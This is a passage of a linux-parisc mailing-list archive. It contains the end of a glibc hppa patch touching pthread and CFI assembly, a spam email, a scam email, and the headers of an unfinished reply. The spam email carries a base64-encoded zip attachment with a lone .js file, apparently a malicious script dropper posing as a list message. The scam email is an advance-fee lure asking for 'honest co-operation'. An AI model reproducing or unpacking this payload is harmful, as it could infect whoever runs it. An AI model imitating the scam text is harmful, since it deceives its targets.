-versioned_symbol (libpthread, __pthread_cond_signal, =
pthread_cond_signal,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_signal
-# define __pthread_cond_signal __pthread_cond_signal_internal
-# include_next <pthread_cond_signal.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_wait.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_wait.c
deleted file mode 100644
index 1cc2fc15d4..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_wait.c
+++ /dev/null
@@ -1,53 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_wait.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_wait (pthread_cond_t *cond, pthread_mutex_t *mutex)
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_wait_internal (cond, mutex);
-}
-versioned_symbol (libpthread, __pthread_cond_wait, pthread_cond_wait,
-                  GLIBC_2_3_2);
-int
-__pthread_cond_timedwait (cond, mutex, abstime)
-     pthread_cond_t *cond;
-     pthread_mutex_t *mutex;
-     const struct timespec *abstime;
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_timedwait_internal (cond, mutex, abstime);
-}
-versioned_symbol (libpthread, __pthread_cond_timedwait, =
pthread_cond_timedwait,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_wait
-# define __pthread_cond_wait __pthread_cond_wait_internal
-# undef __pthread_cond_timedwait
-# define __pthread_cond_timedwait __pthread_cond_timedwait_internal
-# include_next <pthread_cond_wait.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/setcontext.S =
b/sysdeps/unix/sysv/linux/hppa/setcontext.S
index 3f4da7938f..92cb204f8d 100644
--- a/sysdeps/unix/sysv/linux/hppa/setcontext.S
+++ b/sysdeps/unix/sysv/linux/hppa/setcontext.S
@@ -26,8 +26,11 @@
 ENTRY(__setcontext)
 	/* Prologue */
 	stwm	%r3, 64(%sp)
+	.cfi_def_cfa_offset -64
+	.cfi_offset 3, 0
 #ifdef PIC
 	stw	%r19, -32(%sp)
+	.cfi_offset 19, 32
 #endif
=20
 	/* Save ucp.  */
@@ -141,7 +144,7 @@ ENTRY(__setcontext)
=20
 	/* No further context available. Exit now.  */
 	bl	HIDDEN_JUMPTARGET(exit), %r2
-	ldi	-1, %r26
+	ldi	0, %r26
=20
=20
 .Lerror:
diff --git a/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h =
b/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h
index 5ea297267f..8b7f2b2095 100644
--- a/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h
+++ b/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h
@@ -62,12 +62,11 @@
 	ENTRY (__##syscall_name##_nocancel)				=
\
 	DOARGS_##args					ASM_LINE_SEP	=
\
 	stwm TREG, 64(%sp)				ASM_LINE_SEP	=
\
+	.cfi_def_cfa_offset -64				ASM_LINE_SEP	=
\
 	.cfi_offset TREG, 0				ASM_LINE_SEP	=
\
-	.cfi_adjust_cfa_offset 64			ASM_LINE_SEP	=
\
 	stw %sp, -4(%sp)				ASM_LINE_SEP	=
\
-	.cfi_offset 30, -4				ASM_LINE_SEP	=
\
 	stw %r19, -32(%sp)				ASM_LINE_SEP	=
\
-	.cfi_offset 19, -32				ASM_LINE_SEP	=
\
+	.cfi_offset 19, 32				ASM_LINE_SEP	=
\
 	/* Save r19 */					ASM_LINE_SEP	=
\
 	SAVE_PIC(TREG)					ASM_LINE_SEP	=
\
 	/* Do syscall, delay loads # */			ASM_LINE_SEP	=
\
@@ -91,21 +90,19 @@ L(pre_nc_end):						=
ASM_LINE_SEP	\
 	/* No need to LOAD_PIC */			ASM_LINE_SEP	=
\
 	/* Undo frame */				ASM_LINE_SEP	=
\
 	ldwm -64(%sp),TREG				ASM_LINE_SEP	=
\
-	.cfi_adjust_cfa_offset -64			ASM_LINE_SEP	=
\
 	/* Restore rp before exit */			ASM_LINE_SEP	=
\
 	ldw -20(%sp), %rp				ASM_LINE_SEP	=
\
-	.cfi_restore 2					ASM_LINE_SEP	=
\
 	ret						ASM_LINE_SEP	=
\
 	END(__##syscall_name##_nocancel)		ASM_LINE_SEP	=
\
 	/**********************************************/ASM_LINE_SEP	=
\
 	ENTRY (name)							=
\
 	DOARGS_##args					ASM_LINE_SEP	=
\
 	stwm TREG, 64(%sp)				ASM_LINE_SEP	=
\
-	.cfi_adjust_cfa_offset 64			ASM_LINE_SEP	=
\
+	.cfi_def_cfa_offset -64				ASM_LINE_SEP	=
\
+	.cfi_offset TREG, 0				ASM_LINE_SEP	=
\
 	stw %sp, -4(%sp)				ASM_LINE_SEP	=
\
-	.cfi_offset 30, -4				ASM_LINE_SEP	=
\
 	stw %r19, -32(%sp)				ASM_LINE_SEP	=
\
-	.cfi_offset 19, -32				ASM_LINE_SEP	=
\
+	.cfi_offset 19, 32				ASM_LINE_SEP	=
\
 	/* Done setting up frame, continue... */	ASM_LINE_SEP	=
\
 	SINGLE_THREAD_P					ASM_LINE_SEP	=
\
 	cmpib,<>,n 0,%ret0,L(pseudo_cancel)		ASM_LINE_SEP	=
\
@@ -168,40 +165,32 @@ L(pre_end):						=
ASM_LINE_SEP	\
 	/* No need to LOAD_PIC */			ASM_LINE_SEP	=
\
 	/* Undo frame */				ASM_LINE_SEP	=
\
 	ldwm -64(%sp),TREG				ASM_LINE_SEP	=
\
-	.cfi_adjust_cfa_offset -64			ASM_LINE_SEP	=
\
 	/* Restore rp before exit */			ASM_LINE_SEP	=
\
-	ldw -20(%sp), %rp				ASM_LINE_SEP	=
\
-	.cfi_restore 2					ASM_LINE_SEP
+	ldw -20(%sp), %rp				ASM_LINE_SEP
=20
 /* Save arguments into our frame */
 # define PUSHARGS_0	/* nothing to do */
 # define PUSHARGS_1	PUSHARGS_0 stw %r26, -36(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 26, -36			=
ASM_LINE_SEP
+			.cfi_offset 26, 28			=
ASM_LINE_SEP
 # define PUSHARGS_2	PUSHARGS_1 stw %r25, -40(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 25, -40			=
ASM_LINE_SEP
+			.cfi_offset 25, 24			=
ASM_LINE_SEP
 # define PUSHARGS_3	PUSHARGS_2 stw %r24, -44(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 24, -44			=
ASM_LINE_SEP
+			.cfi_offset 24, 20			=
ASM_LINE_SEP
 # define PUSHARGS_4	PUSHARGS_3 stw %r23, -48(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 23, -48			=
ASM_LINE_SEP
+			.cfi_offset 23, 16			=
ASM_LINE_SEP
 # define PUSHARGS_5	PUSHARGS_4 stw %r22, -52(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 22, -52			=
ASM_LINE_SEP
+			.cfi_offset 22, 12			=
ASM_LINE_SEP
 # define PUSHARGS_6	PUSHARGS_5 stw %r21, -56(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 21, -56			=
ASM_LINE_SEP
+			.cfi_offset 21, 8			=
ASM_LINE_SEP
=20
 /* Bring them back from the stack */
 # define POPARGS_0	/* nothing to do */
-# define POPARGS_1	POPARGS_0 ldw -36(%sr0,%sp), %r26	=
ASM_LINE_SEP	\
-			.cfi_restore 26				=
ASM_LINE_SEP
-# define POPARGS_2	POPARGS_1 ldw -40(%sr0,%sp), %r25	=
ASM_LINE_SEP	\
-			.cfi_restore 25				=
ASM_LINE_SEP
-# define POPARGS_3	POPARGS_2 ldw -44(%sr0,%sp), %r24	=
ASM_LINE_SEP	\
-			.cfi_restore 24				=
ASM_LINE_SEP
-# define POPARGS_4	POPARGS_3 ldw -48(%sr0,%sp), %r23	=
ASM_LINE_SEP	\
-			.cfi_restore 23				=
ASM_LINE_SEP
-# define POPARGS_5	POPARGS_4 ldw -52(%sr0,%sp), %r22	=
ASM_LINE_SEP	\
-			.cfi_restore 22				=
ASM_LINE_SEP
-# define POPARGS_6	POPARGS_5 ldw -56(%sr0,%sp), %r21	=
ASM_LINE_SEP	\
-			.cfi_restore 21				=
ASM_LINE_SEP
+# define POPARGS_1	POPARGS_0 ldw -36(%sr0,%sp), %r26	=
ASM_LINE_SEP
+# define POPARGS_2	POPARGS_1 ldw -40(%sr0,%sp), %r25	=
ASM_LINE_SEP
+# define POPARGS_3	POPARGS_2 ldw -44(%sr0,%sp), %r24	=
ASM_LINE_SEP
+# define POPARGS_4	POPARGS_3 ldw -48(%sr0,%sp), %r23	=
ASM_LINE_SEP
+# define POPARGS_5	POPARGS_4 ldw -52(%sr0,%sp), %r22	=
ASM_LINE_SEP
+# define POPARGS_6	POPARGS_5 ldw -56(%sr0,%sp), %r21	=
ASM_LINE_SEP
=20
 # if IS_IN (libpthread)
 #  ifdef PIC
diff --git a/sysdeps/unix/sysv/linux/hppa/sysdep.h =
b/sysdeps/unix/sysv/linux/hppa/sysdep.h
index d8dd0431a4..c0cd59e9f5 100644
--- a/sysdeps/unix/sysv/linux/hppa/sysdep.h
+++ b/sysdeps/unix/sysv/linux/hppa/sysdep.h
@@ -49,11 +49,9 @@
    to another function */
 #define TREG 4
 #define SAVE_PIC(SREG) \
-	copy %r19, SREG ASM_LINE_SEP	\
-	.cfi_register 19, SREG
+	copy %r19, SREG
 #define LOAD_PIC(LREG) \
-	copy LREG , %r19 ASM_LINE_SEP	\
-	.cfi_restore 19
+	copy LREG , %r19
 /* Inline assembly defines */
 #define TREG_ASM "%r4" /* Cant clobber r3, it holds framemarker */
 #define SAVE_ASM_PIC	"       copy %%r19, %" TREG_ASM "\n"
@@ -292,12 +290,11 @@
 #define DO_CALL(syscall_name, args)				\
 	/* Create a frame */			ASM_LINE_SEP	\
 	stwm TREG, 64(%sp)			ASM_LINE_SEP	\
+	.cfi_def_cfa_offset -64			ASM_LINE_SEP	\
 	.cfi_offset TREG, 0			ASM_LINE_SEP	\
-	.cfi_adjust_cfa_offset 64		ASM_LINE_SEP	\
 	stw %sp, -4(%sp)			ASM_LINE_SEP	\
-	.cfi_offset 30, -4			ASM_LINE_SEP	\
 	stw %r19, -32(%sp)			ASM_LINE_SEP	\
-	.cfi_offset 19, -32			ASM_LINE_SEP	\
+	.cfi_offset 19, 32			ASM_LINE_SEP	\
 	/* Save r19 */				ASM_LINE_SEP	\
 	SAVE_PIC(TREG)				ASM_LINE_SEP	\
 	/* Do syscall, delay loads # */		ASM_LINE_SEP	\
@@ -320,10 +317,8 @@
 L(pre_end):					ASM_LINE_SEP	\
 	/* Restore our frame, restoring TREG */	ASM_LINE_SEP	\
 	ldwm -64(%sp), TREG			ASM_LINE_SEP	\
-	.cfi_adjust_cfa_offset -64		ASM_LINE_SEP	\
 	/* Restore return pointer */		ASM_LINE_SEP	\
-	ldw -20(%sp),%rp			ASM_LINE_SEP	\
-	.cfi_restore 2				ASM_LINE_SEP
+	ldw -20(%sp),%rp			ASM_LINE_SEP
=20
 /* We do nothing with the return, except hand it back to someone else =
*/
 #undef  DO_CALL_NOERRNO

--Apple-Mail-23--122404600--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: <askeeta@canadiannorth.com>
Newsgroups: gmane.linux.ports.parisc
Subject: (unknown)
Date: Sun, 09 Apr 2017 22:07:03 -0000
Lines: 69
Approved: news@gmane.org
Message-ID: <149177562306.16609.2053779378777154667@charter.com>
Reply-To: <askeeta@canadiannorth.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: application/zip; name="750388275461_linux-parisc.zip"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1491775630 6899 195.159.176.226 (9 Apr 2017 22:07:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 9 Apr 2017 22:07:10 +0000 (UTC)
To: <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 10 00:07:05 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cxKz8-0008IY-MB
	for glpp-linux-parisc@m.gmane.org; Mon, 10 Apr 2017 00:07:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752591AbdDIWHI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 9 Apr 2017 18:07:08 -0400
Original-Received: from 71-13-65-181.static.aldl.mi.charter.com ([71.13.65.181]:2763
        "HELO charter.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with SMTP id S1752586AbdDIWHI (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 9 Apr 2017 18:07:08 -0400
X-Greylist: delayed 595 seconds by postgrey-1.27 at vger.kernel.org; Sun, 09 Apr 2017 18:07:06 EDT
Content-Disposition: attachment
Importance: High
Original-Subject: 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27385
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27385>

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
AAAAAAEAAQBOAAAAtQ0AAAAA
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Qin Yan jun <Qin.Yanjun@null.net>
Newsgroups: gmane.linux.ports.parisc
Subject: RE:
Date: Mon, 10 Apr 2017 08:17:21 +0500
Lines: 17
Approved: news@gmane.org
Message-ID: <fb6e1dc7bd848d7e61344d7165e9b6a1@mail.aknet.kz>
Reply-To: Qin Yan jun <Qin.Yanjun@null.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: blaine.gmane.org 1491806753 15551 195.159.176.226 (10 Apr 2017 06:45:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 10 Apr 2017 06:45:53 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 10 08:45:49 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cxT5A-0003ob-Nw
	for glpp-linux-parisc@m.gmane.org; Mon, 10 Apr 2017 08:45:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752746AbdDJGpz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 10 Apr 2017 02:45:55 -0400
Original-Received: from mail.aknet.kz ([88.151.176.20]:36214 "EHLO aknet.kz"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1752744AbdDJGpy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 10 Apr 2017 02:45:54 -0400
X-Greylist: delayed 9541 seconds by postgrey-1.27 at vger.kernel.org; Mon, 10 Apr 2017 02:45:54 EDT
Original-Received: by aknet.kz (CommuniGate Pro PIPE 5.2.12)
  with PIPE id 18285718; Mon, 10 Apr 2017 08:17:27 +0500
X-Priority: 3
X-Mailer: PHPMailer [version 1.73]
X-Originating-IP: 41.190.10.204
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27386
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27386>


How are you today and your family? I require your attention and honest
co-operation about some issues which i will really want to discuss with you
which.  Looking forward to read from you soon.  

Qin's


______________________________

Sky Silk, http://aknet.kz

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Tue, 11 Apr 2017 08:01:13 -0400
Lines: 1567
Approved: news@gmane.org
Message-ID: <076425B0-DC96-4309-95D3-50E5941452A3@bell.net>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee> <9B251251-04AB-4D78-ADD7-F0D429DEB761@bell.net> <20170401183717.jpvilw2u4lgiceuv@raspberrypi-3.musicnaut.iki.fi> <2241815.7QkIsKQeSs@daneel.sf-tec.de> <20170401191023.xpf32zopaecd7dzy@raspberrypi-3.musicnaut.iki.fi> <59CDF2DE-076C-4BC0-8381-CE31A2AA8F56@bell.net> <20170402191245.odedqsqcx2cp5xtt@raspberrypi-3.musicnaut.iki.fi> <9978E89C-A7D6-4ED2-9751-69CA148505E3@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-6-356281441
X-Trace: blaine.gmane.org 1491912081 3904 195.159.176.226 (11 Apr 2017 12:01:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 11 Apr 2017 12:01:21 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>,
        Rolf Eike Beer <eike-kernel@sf-tec.de>,
        Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 11 14:01:13 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cxuTv-0000nJ-EA
	for glpp-linux-parisc@m.gmane.org; Tue, 11 Apr 2017 14:01:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753231AbdDKMBR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 11 Apr 2017 08:01:17 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:33612 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752379AbdDKMBP (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 11 Apr 2017 08:01:15 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20170411120113.BNQD30779.torfep02.bell.net@torspm01.bell.net>
